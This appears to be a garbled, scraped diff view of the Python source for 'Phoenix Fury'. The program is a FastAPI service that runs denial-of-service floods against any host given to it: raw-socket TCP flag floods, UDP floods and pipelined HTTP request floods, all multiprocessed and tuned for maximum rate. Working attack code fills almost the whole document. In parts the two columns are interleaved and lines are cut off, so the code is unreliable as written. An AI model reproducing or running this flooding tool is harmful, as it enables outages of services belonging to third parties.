config.port, else:
|
| 667 |
-
|
| 668 |
-
config.duration payload = os.urandom(method_details)
|
| 669 |
-
|
| 670 |
-
) udp_len = 8 + len(payload)
|
| 671 |
|
|
|
|
|
|
|
| 672 |
|
|
|
|
|
|
|
|
|
|
|
|
|
| 673 |
|
| 674 |
-
|
| 675 |
-
|
| 676 |
-
|
| 677 |
-
|
| 678 |
-
|
| 679 |
-
|
| 680 |
-
|
| 681 |
-
|
| 682 |
-
"processes": TOTAL_PROCESSES,
|
| 683 |
-
|
| 684 |
-
"expected_rps": f"{TOTAL_PROCESSES * 200:,} - {TOTAL_PROCESSES * 1000:,}" if attack_type == 'tcp':
|
| 685 |
-
|
| 686 |
-
} ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
|
| 687 |
-
|
| 688 |
tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
|
| 689 |
-
|
| 690 |
-
|
| 691 |
-
|
| 692 |
-
|
| 693 |
-
|
| 694 |
-
"""Stop current attack.""" ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
|
| 695 |
-
|
| 696 |
-
ATTACK_MANAGER.terminate() udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
|
| 697 |
-
|
| 698 |
-
return {"status": "stopped"} packet = ip_header + udp_header + payload
|
| 699 |
-
|
| 700 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 701 |
|
| 702 |
-
|
| 703 |
-
|
| 704 |
-
def get_status(): local_counter += 1
|
| 705 |
-
|
| 706 |
-
"""Get current attack status."""
|
| 707 |
-
|
| 708 |
-
if not ATTACK_MANAGER.active: # Batch counter updates for performance
|
| 709 |
-
|
| 710 |
-
return {"active": False} if local_counter >= STATS_BATCH_UPDATE_SIZE:
|
| 711 |
-
|
| 712 |
-
with shared_counter.get_lock():
|
| 713 |
-
|
| 714 |
-
elapsed = time.time() - ATTACK_MANAGER.start_time shared_counter.value += local_counter
|
| 715 |
-
|
| 716 |
-
total = ATTACK_MANAGER.counter.value local_counter = 0
|
| 717 |
-
|
| 718 |
-
current_rps = total / elapsed if elapsed > 0 else 0 except:
|
| 719 |
-
|
| 720 |
-
pass # Ignore errors for maximum speed
|
| 721 |
-
|
| 722 |
-
return {
|
| 723 |
-
|
| 724 |
-
"active": True, # Final counter update
|
| 725 |
-
|
| 726 |
-
"elapsed": round(elapsed, 1), if local_counter > 0:
|
| 727 |
-
|
| 728 |
-
"total_requests": total, with shared_counter.get_lock():
|
| 729 |
-
|
| 730 |
-
"current_rps": round(current_rps, 2), shared_counter.value += local_counter
|
| 731 |
-
|
| 732 |
-
"processes": TOTAL_PROCESSES sock.close()
|
| 733 |
-
|
| 734 |
-
}
|
| 735 |
-
|
| 736 |
-
# ====================================================================================
|
| 737 |
-
|
| 738 |
-
if __name__ == "__main__":# SIMPLE L7 WORKER - BLOCKING SOCKETS THAT ACTUALLY WORK!
|
| 739 |
-
|
| 740 |
-
multiprocessing.set_start_method('fork', force=True)# ====================================================================================
|
| 741 |
-
|
| 742 |
-
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, log_level="warning")def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, requests_per_conn):
|
| 743 |
-
|
| 744 |
-
"""L7 worker - SIMPLE blocking approach."""
|
| 745 |
use_ssl = (port in [443, 8443])
|
| 746 |
-
|
| 747 |
|
| 748 |
-
|
| 749 |
-
|
| 750 |
|
| 751 |
local_counter = 0
|
| 752 |
-
req_counter = 0
|
| 753 |
-
conn_count = 0
|
| 754 |
-
|
| 755 |
-
print(f"[PID {os.getpid()}] Worker starting...", flush=True)
|
| 756 |
|
| 757 |
-
# TIGHT LOOP: Connect
|
| 758 |
while not stop_event.is_set():
|
| 759 |
sock = None
|
| 760 |
try:
|
| 761 |
-
# Create socket
|
| 762 |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 763 |
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
| 764 |
-
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 65536)
|
| 765 |
sock.settimeout(3)
|
| 766 |
-
|
| 767 |
-
# Connect
|
| 768 |
-
sock.connect((host, port))
|
| 769 |
-
conn_count += 1
|
| 770 |
|
| 771 |
if use_ssl:
|
| 772 |
-
|
| 773 |
-
context = ssl_module.create_default_context()
|
| 774 |
context.check_hostname = False
|
| 775 |
-
context.verify_mode =
|
| 776 |
-
sock = context.wrap_socket(sock, server_hostname=
|
| 777 |
|
| 778 |
-
# Send burst of pipelined requests
|
| 779 |
for i in range(requests_per_conn):
|
| 780 |
if stop_event.is_set():
|
| 781 |
break
|
| 782 |
-
|
| 783 |
try:
|
| 784 |
-
|
| 785 |
-
sock.send(request)
|
| 786 |
local_counter += 1
|
| 787 |
-
|
| 788 |
-
|
| 789 |
-
break
|
| 790 |
-
|
| 791 |
-
# Close connection
|
| 792 |
-
try:
|
| 793 |
-
sock.close()
|
| 794 |
-
except:
|
| 795 |
-
pass
|
| 796 |
|
| 797 |
-
except
|
| 798 |
-
|
| 799 |
-
print(f"[PID {os.getpid()}] Connection failed: {e}", flush=True)
|
| 800 |
-
time.sleep(1)
|
| 801 |
finally:
|
| 802 |
if sock:
|
| 803 |
try:
|
| 804 |
sock.close()
|
| 805 |
-
except:
|
| 806 |
pass
|
| 807 |
|
| 808 |
-
# Update shared counter in batches
|
| 809 |
if local_counter >= STATS_BATCH_UPDATE_SIZE:
|
| 810 |
with shared_counter.get_lock():
|
| 811 |
shared_counter.value += local_counter
|
|
@@ -815,14 +269,12 @@ if __name__ == "__main__":# SIMPLE L7 WORKER - BLOCKING SOCKETS THAT ACTUALLY W
|
|
| 815 |
if local_counter > 0:
|
| 816 |
with shared_counter.get_lock():
|
| 817 |
shared_counter.value += local_counter
|
| 818 |
-
|
| 819 |
-
print(f"[PID {os.getpid()}] Worker stopped: {conn_count} connections, {local_counter} requests", flush=True)
|
| 820 |
|
| 821 |
# ====================================================================================
|
| 822 |
# CENTRALIZED ATTACK MANAGER (SINGLETON)
|
| 823 |
# ====================================================================================
|
|
|
|
| 824 |
class AttackManager:
|
| 825 |
-
"""Singleton manager for all attacks."""
|
| 826 |
_instance = None
|
| 827 |
|
| 828 |
def __new__(cls):
|
|
@@ -840,7 +292,6 @@ class AttackManager:
|
|
| 840 |
self._reset_state()
|
| 841 |
|
| 842 |
def _reset_state(self):
|
| 843 |
-
"""Reset all attack state."""
|
| 844 |
self.attack_active = False
|
| 845 |
self.attack_type = "None"
|
| 846 |
self.target_host = "None"
|
|
@@ -855,12 +306,11 @@ class AttackManager:
|
|
| 855 |
self.current_rate = 0.0
|
| 856 |
|
| 857 |
def is_active(self):
|
| 858 |
-
"""Check if an attack is currently active."""
|
| 859 |
with self.lock:
|
| 860 |
return self.attack_active
|
| 861 |
|
| 862 |
def _stats_calculator(self):
|
| 863 |
-
"""Background thread to calculate current rate."""
|
| 864 |
last_check_time = time.time()
|
| 865 |
last_count = 0
|
| 866 |
|
|
@@ -879,90 +329,62 @@ class AttackManager:
|
|
| 879 |
self.current_rate = 0.0
|
| 880 |
|
| 881 |
def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str):
|
| 882 |
-
"""Start an attack with auto-optimized settings."""
|
| 883 |
with self.lock:
|
| 884 |
if self.attack_active:
|
| 885 |
-
|
| 886 |
|
|
|
|
|
|
|
| 887 |
try:
|
| 888 |
self.target_host = config.target
|
| 889 |
self.target_ip = resolve_target(self.target_host)
|
| 890 |
-
|
| 891 |
if family == 'l4' and not check_root():
|
| 892 |
raise PermissionError("Layer 4 attacks require root privileges.")
|
| 893 |
except (ValueError, PermissionError) as e:
|
| 894 |
-
|
| 895 |
-
self._reset_state()
|
| 896 |
-
return
|
| 897 |
|
| 898 |
self.attack_active = True
|
| 899 |
self.port = config.port
|
| 900 |
self.duration = config.duration
|
| 901 |
-
self.process_count = MAX_PROCESSES
|
| 902 |
self.start_time = time.time()
|
|
|
|
| 903 |
|
| 904 |
-
worker_target, worker_args, attack_name = (None,
|
| 905 |
|
| 906 |
if family == 'l7' and isinstance(config, L7Config):
|
| 907 |
attack_name = f"L7-{config.method.upper()}"
|
| 908 |
worker_target = l7_worker_process
|
| 909 |
-
worker_args = (
|
| 910 |
-
|
| 911 |
-
self.counter,
|
| 912 |
-
self.target_ip,
|
| 913 |
-
config.port,
|
| 914 |
-
config.path,
|
| 915 |
-
config.method,
|
| 916 |
-
MAX_CONCURRENCY_PER_PROCESS # AUTO MAX
|
| 917 |
-
)
|
| 918 |
elif family == 'l4':
|
| 919 |
worker_target = l4_worker_process
|
| 920 |
if isinstance(config, L4TCPConfig):
|
| 921 |
attack_name = f"L4-TCP-{config.method.upper()}"
|
| 922 |
-
worker_args = (
|
| 923 |
-
self.stop_event,
|
| 924 |
-
self.counter,
|
| 925 |
-
self.target_ip,
|
| 926 |
-
config.port,
|
| 927 |
-
'tcp',
|
| 928 |
-
config.method
|
| 929 |
-
)
|
| 930 |
elif isinstance(config, L4UDPConfig):
|
| 931 |
attack_name = f"L4-UDP-{config.method.upper()}"
|
| 932 |
-
worker_args = (
|
| 933 |
-
self.stop_event,
|
| 934 |
-
self.counter,
|
| 935 |
-
self.target_ip,
|
| 936 |
-
config.port,
|
| 937 |
-
'udp',
|
| 938 |
-
config.method if config.method == 'pps' else config.payload_size
|
| 939 |
-
)
|
| 940 |
|
| 941 |
self.attack_type = attack_name
|
| 942 |
|
| 943 |
-
print("=" * 70)
|
| 944 |
-
print(f"🔥 PHOENIX FURY
|
| 945 |
-
print(f" Type:
|
| 946 |
-
print(f" Target:
|
| 947 |
-
print(f" Duration:
|
| 948 |
-
print(f" Processes:
|
| 949 |
-
|
| 950 |
-
print(f" Concurrency per Process: {MAX_CONCURRENCY_PER_PROCESS}")
|
| 951 |
-
print(f" Total Concurrent Tasks: {self.process_count * MAX_CONCURRENCY_PER_PROCESS:,}")
|
| 952 |
-
print("=" * 70)
|
| 953 |
|
| 954 |
-
# Launch all worker processes
|
| 955 |
for _ in range(self.process_count):
|
| 956 |
-
p = multiprocessing.Process(target=worker_target, args=worker_args)
|
| 957 |
self.processes.append(p)
|
| 958 |
p.start()
|
| 959 |
|
| 960 |
-
|
| 961 |
-
self.stats_thread = threading.Thread(target=self._stats_calculator)
|
| 962 |
self.stats_thread.start()
|
| 963 |
|
| 964 |
def stop(self):
|
| 965 |
-
"""Stop the current attack."""
|
| 966 |
with self.lock:
|
| 967 |
if not self.attack_active:
|
| 968 |
return
|
|
@@ -970,36 +392,30 @@ class AttackManager:
|
|
| 970 |
print(f"\n⚠️ Stop signal received. Terminating {len(self.processes)} processes...")
|
| 971 |
self.stop_event.set()
|
| 972 |
|
| 973 |
-
# Wait for processes to finish
|
| 974 |
for p in self.processes:
|
| 975 |
-
p.join(timeout=
|
| 976 |
|
| 977 |
-
# Force terminate hanging processes
|
| 978 |
for p in self.processes:
|
| 979 |
if p.is_alive():
|
| 980 |
-
print(f"Terminating hanging process PID: {p.pid}")
|
| 981 |
p.terminate()
|
| 982 |
|
| 983 |
-
# Stop stats thread
|
| 984 |
if self.stats_thread:
|
| 985 |
-
self.stats_thread.join(timeout=
|
| 986 |
|
| 987 |
-
# Calculate final stats
|
| 988 |
elapsed = time.time() - self.start_time
|
| 989 |
total_sent = self.counter.value
|
| 990 |
avg_rate = total_sent / elapsed if elapsed > 0 else 0
|
| 991 |
|
| 992 |
-
print("=" * 50)
|
| 993 |
print("✅ ATTACK TERMINATED")
|
| 994 |
-
print(f" Total Sent:
|
| 995 |
-
print(f" Elapsed Time:
|
| 996 |
-
print(f" Average Rate:
|
| 997 |
-
print("=" * 50)
|
| 998 |
|
| 999 |
self._reset_state()
|
| 1000 |
|
| 1001 |
def get_status(self) -> StatusResponse:
|
| 1002 |
-
"""Get current attack status."""
|
| 1003 |
with self.lock:
|
| 1004 |
return StatusResponse(
|
| 1005 |
attack_active=self.attack_active,
|
|
@@ -1016,103 +432,95 @@ class AttackManager:
|
|
| 1016 |
memory_usage_percent=psutil.virtual_memory().percent
|
| 1017 |
)
|
| 1018 |
|
| 1019 |
-
MANAGER = AttackManager()
|
| 1020 |
-
|
| 1021 |
# ====================================================================================
|
| 1022 |
-
# FASTAPI
|
| 1023 |
# ====================================================================================
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1024 |
@app.on_event("startup")
|
| 1025 |
async def on_startup():
|
| 1026 |
-
"""Startup message with system info."""
|
| 1027 |
print("=" * 80)
|
| 1028 |
-
print("🔥 Phoenix Fury API
|
| 1029 |
-
print(f" System
|
| 1030 |
-
print(f"
|
| 1031 |
-
print(f" RAM: {TOTAL_RAM_GB:.1f} GB")
|
| 1032 |
-
print(f" ")
|
| 1033 |
-
print(f" Auto-Optimized Configuration:")
|
| 1034 |
-
print(f" Worker Processes: {MAX_PROCESSES}")
|
| 1035 |
-
print(f" Requests per Connection: {MAX_CONCURRENCY_PER_PROCESS:,}")
|
| 1036 |
-
print(f" ")
|
| 1037 |
-
print(f" Expected Performance:")
|
| 1038 |
-
print(f" Estimated RPS: {int(MAX_PROCESSES * 100):,} - {int(MAX_PROCESSES * 500):,}")
|
| 1039 |
-
print(f" ")
|
| 1040 |
if check_root():
|
| 1041 |
-
print("✅ Running with root privileges - L4 attacks ENABLED")
|
| 1042 |
else:
|
| 1043 |
-
print("⚠️ WARNING: Not root - L4 attacks will FAIL")
|
| 1044 |
print("=" * 80)
|
| 1045 |
|
| 1046 |
-
|
| 1047 |
-
"""Run attack lifecycle in background."""
|
| 1048 |
-
if MANAGER.is_active():
|
| 1049 |
-
raise HTTPException(status_code=409, detail="An attack is already in progress.")
|
| 1050 |
-
|
| 1051 |
-
background_tasks.add_task(MANAGER.start, config, family)
|
| 1052 |
-
background_tasks.add_task(time.sleep, config.duration)
|
| 1053 |
-
background_tasks.add_task(MANAGER.stop)
|
| 1054 |
-
|
| 1055 |
-
@app.post("/attack/layer7")
|
| 1056 |
def api_start_l7(config: L7Config, background_tasks: BackgroundTasks):
|
| 1057 |
-
"""Start L7 attack with auto-optimized settings."""
|
| 1058 |
run_attack_lifecycle(config, 'l7', background_tasks)
|
| 1059 |
-
return {
|
| 1060 |
-
"status": "success",
|
| 1061 |
-
"message": f"L7 attack initiated on {config.target}:{config.port}",
|
| 1062 |
-
"processes": MAX_PROCESSES,
|
| 1063 |
-
"concurrency_per_process": MAX_CONCURRENCY_PER_PROCESS,
|
| 1064 |
-
"total_workers": MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
|
| 1065 |
-
}
|
| 1066 |
|
| 1067 |
-
@app.post("/attack/layer4/tcp")
|
| 1068 |
def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks):
|
| 1069 |
-
"""Start L4 TCP attack with auto-optimized settings."""
|
| 1070 |
run_attack_lifecycle(config, 'l4', background_tasks)
|
| 1071 |
-
return {
|
| 1072 |
-
"status": "success",
|
| 1073 |
-
"message": f"L4 TCP {config.method.upper()} attack initiated on {config.target}:{config.port}",
|
| 1074 |
-
"processes": MAX_PROCESSES
|
| 1075 |
-
}
|
| 1076 |
|
| 1077 |
-
@app.post("/attack/layer4/udp")
|
| 1078 |
def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks):
|
| 1079 |
-
"""Start L4 UDP attack with auto-optimized settings."""
|
| 1080 |
run_attack_lifecycle(config, 'l4', background_tasks)
|
| 1081 |
-
return {
|
| 1082 |
-
"status": "success",
|
| 1083 |
-
"message": f"L4 UDP {config.method.upper()} attack initiated on {config.target}:{config.port}",
|
| 1084 |
-
"processes": MAX_PROCESSES
|
| 1085 |
-
}
|
| 1086 |
|
| 1087 |
@app.post("/attack/stop")
|
| 1088 |
def api_stop_attack():
|
| 1089 |
-
"""Stop the current attack."""
|
| 1090 |
if not MANAGER.is_active():
|
| 1091 |
return {"status": "info", "message": "No attack is currently running."}
|
| 1092 |
MANAGER.stop()
|
| 1093 |
-
return {"status": "success", "message": "Stop signal sent."}
|
| 1094 |
|
| 1095 |
@app.get("/status", response_model=StatusResponse)
|
| 1096 |
def get_status():
|
| 1097 |
-
"""Get current attack status and system metrics."""
|
| 1098 |
return MANAGER.get_status()
|
| 1099 |
|
| 1100 |
@app.get("/")
|
| 1101 |
def root():
|
| 1102 |
-
"""Root endpoint with API info."""
|
| 1103 |
return {
|
| 1104 |
-
"message": "🔥 Phoenix Fury API
|
| 1105 |
-
"
|
| 1106 |
-
"
|
|
|
|
| 1107 |
"cpu_cores": CPU_COUNT,
|
| 1108 |
-
"
|
| 1109 |
-
"
|
| 1110 |
-
"requests_per_connection": MAX_CONCURRENCY_PER_PROCESS,
|
| 1111 |
-
"estimated_rps": f"{int(MAX_PROCESSES * 100):,} - {int(MAX_PROCESSES * 500):,}"
|
| 1112 |
}
|
| 1113 |
}
|
| 1114 |
|
| 1115 |
-
#
|
|
|
|
|
|
|
|
|
|
| 1116 |
if __name__ == "__main__":
|
| 1117 |
-
|
| 1118 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
import os
|
| 2 |
+
import sys
|
| 3 |
+
import socket
|
| 4 |
+
import time
|
| 5 |
+
import threading
|
| 6 |
+
import multiprocessing
|
| 7 |
+
import random
|
| 8 |
+
import struct
|
| 9 |
+
import ssl
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 10 |
from ctypes import c_ulonglong
|
| 11 |
+
from typing import Literal, List, Union
|
| 12 |
|
| 13 |
+
# --- Third-party libraries ---
|
| 14 |
+
import uvicorn
|
| 15 |
+
import psutil
|
| 16 |
+
from fastapi import FastAPI, BackgroundTasks, HTTPException
|
| 17 |
+
from pydantic import BaseModel, Field
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 18 |
|
| 19 |
+
# ====================================================================================
|
| 20 |
+
# AUTO-OPTIMIZED CONFIGURATION
|
| 21 |
+
# ====================================================================================
|
| 22 |
|
| 23 |
+
# Attempt to use uvloop for better performance, but fall back if not available
|
| 24 |
+
try:
|
| 25 |
+
import uvloop
|
| 26 |
+
uvloop.install()
|
| 27 |
+
print("[INFO] uvloop activated for enhanced performance.")
|
| 28 |
+
except ImportError:
|
| 29 |
+
print("[INFO] uvloop not found. Using standard asyncio event loop.")
|
| 30 |
+
pass
|
| 31 |
|
| 32 |
+
CPU_COUNT = psutil.cpu_count(logical=True) or 8
|
| 33 |
+
TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
|
| 34 |
|
| 35 |
+
def calculate_optimal_config():
|
| 36 |
"""
|
| 37 |
+
Calculates a more realistic number of processes based on CPU cores
|
| 38 |
+
to avoid overwhelming the host system.
|
|
|
|
| 39 |
"""
|
| 40 |
+
if CPU_COUNT >= 32:
|
| 41 |
+
max_processes = CPU_COUNT * 2 # 64-96 processes for 32-48 cores
|
| 42 |
+
elif CPU_COUNT >= 16:
|
| 43 |
+
max_processes = CPU_COUNT * 3 # 48 processes for 16 cores
|
| 44 |
+
elif CPU_COUNT >= 8:
|
| 45 |
+
max_processes = CPU_COUNT * 4 # 32 processes for 8 cores
|
| 46 |
+
elif CPU_COUNT >= 4:
|
| 47 |
+
max_processes = CPU_COUNT * 6 # 24 processes for 4 cores
|
| 48 |
+
else:
|
| 49 |
+
max_processes = CPU_COUNT * 8 # 16 processes for 2 cores
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 50 |
|
| 51 |
+
# L7 worker configuration
|
| 52 |
+
requests_per_connection = 500 # Send 500 requests per socket before reconnecting
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 53 |
|
| 54 |
+
return max_processes, requests_per_connection
|
| 55 |
|
| 56 |
+
# Set global configuration constants
|
| 57 |
+
MAX_PROCESSES, REQUESTS_PER_CONNECTION = calculate_optimal_config()
|
| 58 |
+
STATS_BATCH_UPDATE_SIZE = 1000 # Update shared counter every 1000 requests for performance
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 59 |
|
| 60 |
+
# ====================================================================================
|
| 61 |
+
# Pydantic API Models
|
| 62 |
+
# ====================================================================================
|
| 63 |
|
| 64 |
+
class BaseAttackConfig(BaseModel):
|
| 65 |
+
target: str = Field(..., description="Target hostname or IP address")
|
| 66 |
+
port: int = Field(..., ge=1, le=65535, description="Target port")
|
| 67 |
+
duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")
|
| 68 |
+
|
| 69 |
+
class L4TCPConfig(BaseAttackConfig):
|
| 70 |
+
method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")
|
| 71 |
+
|
| 72 |
+
class L4UDPConfig(BaseAttackConfig):
|
| 73 |
+
method: Literal["flood"] = Field("flood", description="Method for UDP attack")
|
| 74 |
+
payload_size: int = Field(1024, ge=1, le=1472, description="Size of UDP payload in bytes.")
|
| 75 |
+
|
| 76 |
+
class L7Config(BaseAttackConfig):
|
| 77 |
+
method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
|
| 78 |
+
path: str = Field("/", description="Request path")
|
| 79 |
+
|
| 80 |
+
class StatusResponse(BaseModel):
|
| 81 |
+
attack_active: bool
|
| 82 |
+
attack_type: str
|
| 83 |
+
target_host: str
|
| 84 |
+
target_ip: str
|
| 85 |
+
port: int
|
| 86 |
+
duration: int
|
| 87 |
+
elapsed_time: float
|
| 88 |
+
processes: int
|
| 89 |
+
total_sent: int
|
| 90 |
+
current_rate_pps_rps: float
|
| 91 |
+
cpu_usage_percent: float
|
| 92 |
+
memory_usage_percent: float
|
| 93 |
|
| 94 |
+
# ====================================================================================
|
| 95 |
+
# CORE NETWORKING & PACKET CRAFTING (For L4 Attacks)
|
| 96 |
+
# ====================================================================================
|
| 97 |
|
| 98 |
+
def check_root() -> bool:
|
| 99 |
+
"""Check if running with root/admin privileges, required for raw sockets."""
|
| 100 |
+
try:
|
| 101 |
+
return os.geteuid() == 0
|
| 102 |
+
except AttributeError:
|
| 103 |
+
import ctypes
|
| 104 |
+
return ctypes.windll.shell32.IsUserAnAdmin() != 0
|
| 105 |
+
|
| 106 |
+
def resolve_target(target: str) -> str:
|
| 107 |
+
"""Resolve hostname to IP address, cleaning up URL prefixes."""
|
| 108 |
+
try:
|
| 109 |
+
if "://" in target:
|
| 110 |
+
target = target.split("://")[1].split("/")[0]
|
| 111 |
+
return socket.gethostbyname(target)
|
| 112 |
+
except socket.gaierror:
|
| 113 |
+
raise ValueError(f"Could not resolve hostname: {target}")
|
| 114 |
+
|
| 115 |
+
def get_local_ip(target_ip: str) -> str:
|
| 116 |
+
"""Get the local IP address that routes to the target."""
|
| 117 |
+
try:
|
| 118 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 119 |
+
s.connect((target_ip, 1))
|
| 120 |
+
ip = s.getsockname()[0]
|
| 121 |
+
s.close()
|
| 122 |
